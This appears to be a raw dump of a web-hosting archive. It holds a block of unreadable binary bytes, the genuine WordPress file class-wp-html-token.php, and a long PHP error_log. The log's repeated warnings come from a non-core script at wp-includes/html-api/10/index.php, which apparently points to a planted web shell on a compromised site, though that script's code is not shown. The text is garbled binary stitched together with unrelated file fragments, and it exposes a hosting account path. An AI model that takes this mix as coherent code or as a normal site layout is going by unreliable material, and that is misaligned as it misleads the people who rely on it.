1��f�^��N�:�H��f�8�� -T��Ԙl��{b����T�^������)]w�����+6+s�>�}s����1���`���.�j�ś|�l3&�b���B�uU�f,�8,ܠ���?�����-�O����B߯$���Ǎ�����Ϟ}�����6W�~�&L�Zy�DP.06���iۛ���\�[����V��Ʀ�CC�F�M���1�w%oÃ�iDf���;�/9G��t6�N��LB��OQs�i���0o#U,/8S���~��{w3 ;|�{X�>ATew�W��<ͺ���Ua��j<��q�F{�5�#�V!0�\�*��U��$a�7�<�Dm��ao�����ɉq�2�쮳2kZ�8���R���+�����s�)�:�t���Ò��ur�w������@���|ȏ���KL_�Z��;���zn���ټ.��;�߽�ixG1��1�:�F�X&�S��"^7�������D�0;}�#'c�����):�Z9+Rs����?y~�W@��)s��l�N��j�x��ŝm�`�N���i�.�ZuL]uИ�=êW�C�{���*�����Ӷ���z�%�s����֔e��f����0E=!��n��&����=xzp|�����ۅ�T�&|?�I��W��|�8����<}x��{���5�veh��9�������K�Oa��n�������?����U?�?g���VPKgN\��J�class-wp-html-token.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-token.php000064400000006522151440277720022105 0ustar00<?php
/**
 * HTML API: WP_HTML_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for referring to tokens in the input HTML string.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Token {
	/**
	 * Name of bookmark corresponding to source of token in input HTML string.
	 *
	 * Having a bookmark name does not imply that the token still exists. It
	 * may be that the source token and underlying bookmark was wiped out by
	 * some modification to the source HTML.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	public $bookmark_name = null;

	/**
	 * Name of node; lowercase names such as "marker" are not HTML elements.
	 *
	 * For HTML elements/tags this value should come from WP_HTML_Processor::get_tag().
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::get_tag()
	 *
	 * @var string
	 */
	public $node_name = null;

	/**
	 * Whether node contains the self-closing flag.
	 *
	 * A node may have a self-closing flag when it shouldn't. This value
	 * only reports if the flag is present in the original HTML.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#self-closing-flag
	 *
	 * @var bool
	 */
	public $has_self_closing_flag = false;

	/**
	 * Indicates if the element is an HTML element or if it's inside foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @var string 'html', 'svg', or 'math'.
	 */
	public $namespace = 'html';

	/**
	 * Indicates which kind of integration point the element is, if any.
	 *
	 * @since 6.7.0
	 *
	 * @var string|null 'math', 'html', or null if not an integration point.
	 */
	public $integration_node_type = null;

	/**
	 * Called when token is garbage-collected or otherwise destroyed.
	 *
	 * @var callable|null
	 */
	public $on_destroy = null;

	/**
	 * Constructor - creates a reference to a token in some external HTML string.
	 *
	 * @since 6.4.0
	 *
	 * @param string|null   $bookmark_name         Name of bookmark corresponding to location in HTML where token is found,
	 *                                             or `null` for markers and nodes without a bookmark.
	 * @param string        $node_name             Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
	 * @param bool          $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
	 * @param callable|null $on_destroy            Optional. Function to call when destroying token, useful for releasing the bookmark.
	 */
	public function __construct( ?string $bookmark_name, string $node_name, bool $has_self_closing_flag, ?callable $on_destroy = null ) {
		$this->bookmark_name         = $bookmark_name;
		$this->namespace             = 'html';
		$this->node_name             = $node_name;
		$this->has_self_closing_flag = $has_self_closing_flag;
		$this->on_destroy            = $on_destroy;
	}

	/**
	 * Destructor.
	 *
	 * @since 6.4.0
	 */
	public function __destruct() {
		if ( is_callable( $this->on_destroy ) ) {
			call_user_func( $this->on_destroy, $this->bookmark_name );
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.4.2
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
PKgN\�,�n�n�	error_lognu�[���[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
